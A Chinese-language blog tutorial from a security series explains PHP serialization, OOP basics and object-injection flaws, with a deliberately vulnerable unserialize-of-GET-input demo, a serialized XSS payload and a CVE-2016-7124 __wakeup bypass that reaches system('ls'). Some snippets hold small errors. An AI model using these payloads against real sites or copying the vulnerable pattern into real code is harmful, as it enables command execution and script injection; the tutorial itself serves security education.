iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 8
0
Security

資訊安全的美味雜炊系列 第 8

[Day8] - PHP(Deserailize)

  • 分享至 

  • xImage
  •  

Day8 - PHP(Deserailize)

前言

  • 今天介紹一下序列化跟反序列化,雖然可能遇到反序列化的條件比較嚴苛,不過被利用還是可能造成嚴重危害

甚麼是序列化(Serailize)、反序列化(Deserialize)

  • 序列化
    • 在計算機科學的資料處理中,是指將資料結構或物件狀態轉換成可取用格式(例如存成檔案,存於緩衝,或經由網路中傳送),以留待後續在相同或另一台計算機環境中
    • 以php來說,他能夠==將object轉成string==,用serialize()函式來實作序列化,透過string型態做傳輸,當要被調用時,再透過Deserialize來處理
    • 通常序列化跟反序列化會用在session的儲存

來自維基

複習一下物件導向(object oriented programing)

  • class
    • 就像是一張設計圖,設計圖上規劃出有哪些屬性、功能
    • class裡面有他的data member(屬性), member function(功能)
<?php
class Student {
  // Properties
  public $name;

  // Methods
  function set_name($name) {
    $this->name = $name;
  }
  function get_name() {
    return $this->name;
  }
}
  • object
    • 而根據設計圖設計出來的東西,就是物件(object)
    • 透過new,可以產生出不同的物件
    • 以下面這個範例code來舉例,可以建立出Allen,Bob兩個不同的Student物件
<?php
class Student {
  // data member
  public $name;

  // member function
  function set_name($name) {
    $this->name = $name;
  }
  function get_name() {
    return $this->name;
  }
}

$stu1 = new Student();
$stu2 = new Student();

$stu1->set_name('Allen');
$stu2->set_name('Bob');

OOP三個基本特性

封裝 Encapsulation

  • 用一個夾娃娃機的例子來舉例

    • 夾娃娃機會有搖桿,必須要透過搖桿夾娃娃
    • 而你不行偷爬到夾娃娃機裡面用手撈娃娃
  • 而封裝就像是夾娃娃機,你必須要用正確的interface去取要的data

  • 舉個例子,學生的名字

<?php
class Student {
  // data member
  private $name;
  // member function
  function set_name($name) {
    $this->name = $name;
  }
  function get_name() {
     return $this->name;
  }
}
$stu = new Student();
$stu->set_name('Allen');
// 必須要用正確的interface access
echo $stu->get_name();
// 而不能直接access
echo $stu.name;

繼承 Inheritance

  • 可以透過繼承,來擴充原先class的功能

  • 在程式設計時,可以透過繼承來把相同屬性的東西歸類為一個class,再透過繼承來擴充不同的功能

    • 通常會將繼承的關係分為base(基本的) class, derived(衍生的) class
    • 也有人會說parent class, child class
  • 舉個例子

    • 水果有很多種,我們可以把相同特徵的部分拿出來
      • 像是水果一定有名子、顏色
      • 如此一來,能增加code的重複利用、也可以提高維護性
<?php
class Fruit {
  public $name;
  public $color;
  public function intro() {
    echo "The fruit is {$this->name} and the color is {$this->color}.";
  }
}

// Strawberry is inherited from Fruit
class Strawberry extends Fruit {
  public function message() {
    echo "Am I a fruit or a berry? ";
  }
}
$strawberry = new Strawberry("Strawberry", "red");
$strawberry->message();
$strawberry->intro();

// Banana is inherited from Fruit
class Banana extends Fruit {
  public function message() {
    echo "I'm so Sweet la!";
  }
}
$banana = new Banana("Banana", "yellow");
$banana->message();
$banana->intro();
?>

來自w3schools的例子

多型 Polymorphism

  • 一個class在不同情況下,使用相同的interface但裡頭的實際操作會不一樣
  • 舉個例會比較好懂
    • 同樣是move(interface),在不同的動物下會有不同的實作方式
>?
class Animal
{
    public $name;
}
 
class Dog extends Animal
{
    public function move()
    {
        echo '跑';
    }
}
 
class Bird extends Animal
{
    public function move()
    {
        echo '飛';
    }
}

class with serialize

  • 複習完之後,我們看看class跟serialize在一起會長得怎麼樣
<?php
class Student {
  // data member
  public $name="halloworld";
}

$stu = new Student();
echo (serialize($stu));

//O:7:"Student":1:{s:4:"name";s:10:"halloworld";}

  • 來分析一下serialize的結果
O:7:"Student":1:{s:4:"name";s:10:"halloworld";}
  • O:7:"Student:1"

    • 代表為class,長度為7,class名為Student,裏頭有一個變數
  • {s:4:"name";s:10:"halloworld";}

    • s代表為字串,長度4,變數名稱是name
    • 後面halloworld部分是value
  • 針對不同的Data type,會有以下的呈現方式

public, private, protected with serialize

  • 以這個class當作範例,在不同的value type底下serialize的結果也會不同
<?php
class Student {
  // data member
  // public, protected, private
  public $name="halloworld";
}
public protected private
{s:4:"name";s:10:"halloworld";} {s:7:" * name";s:10:"halloworld";} {s:13:"Studentname";s:10:"halloworld";}

unserialize

  • 可以把被序列化的字串轉回object
<?php
$str = 'a:3:{i:0;s:6:"Google";i:1;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);

# Array
# (
#   [0] => Google
#   [1] => Facebook
# )
?>

PHP magic function

  • __construct()
    • Object被new時會觸發,但unserialize()不被觸發
  • __destruct()
    • Object被delete會被觸發
  • __wakeup()
    • unserialize()時會觸發
  • __sleep()
    • serialize()時會觸發
  • _toString()
    • 當object被當成string時觸發

洞在哪 ?

  • 我們了解序列化的邏輯以及magic function何時觸發
    • 透過竄改序列化後的字串,當字串被unserialize時,會被destruct處理,趁機打出洞來

example

  • $test這個參數我可以構造,使$test在unserialize的時候能被執行
<?php
class Student {
    public $name="halloworld";
    function __destruct(){
        echo $this->name."<br>";
    }
}

$stu = $_GET['test'];
unserialize($stu);
?>
  • 試著來構造XSS的payload
<?php
class Student {
    // data member
    // public, protected, private
    public $name="<script>alert(1)<script>";
}
$stu = serialize(new Student);
echo $stu;
# payload: O:7:"Student":1:{s:4:"name";s:25:"<script>alert(1)</script>";}
  • 觸發成功

CVE-2016-7124

  • PHP before 5.6.25

  • serealize()中個數的值>真實個數時會跳過__wakeup的執行

    • serealize()解析失敗時,__wakeup()不會被呼叫
  • example

    • 我們想辦法繞過wakeup,才能執行指令
<?php

class Student {
    // data member
    // public, protected, private
    public $name="halloworld";

    function __wakeup(){
        $this->name = "wakeup!";
    }

    function __destruct(){
        system($this->name);	
    }
}

$test = $_GET['test'];
$test_user = unserialize($test);
  • 一樣構造payload
    • 原本的payload
      O:7:"Student":1:{s:4:"name";s:2:"ls";}
      
      • 很明顯的name被改成wakeup!,拿去執行就壞了
    • 後來的payload,繞過wakeup的方法
      O:7:"Student":2:{s:4:"name";s:2:"ls";}
      
      • 該目錄底下的東西都噴出來了

還有關於其他反序列化的洞,可以看看下面連結

ref


上一篇
[Day7] - PHP(LFI/RFI)
下一篇
[Day9] - CSRF(Cross Site Request Forgery)
系列文
資訊安全的美味雜炊30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言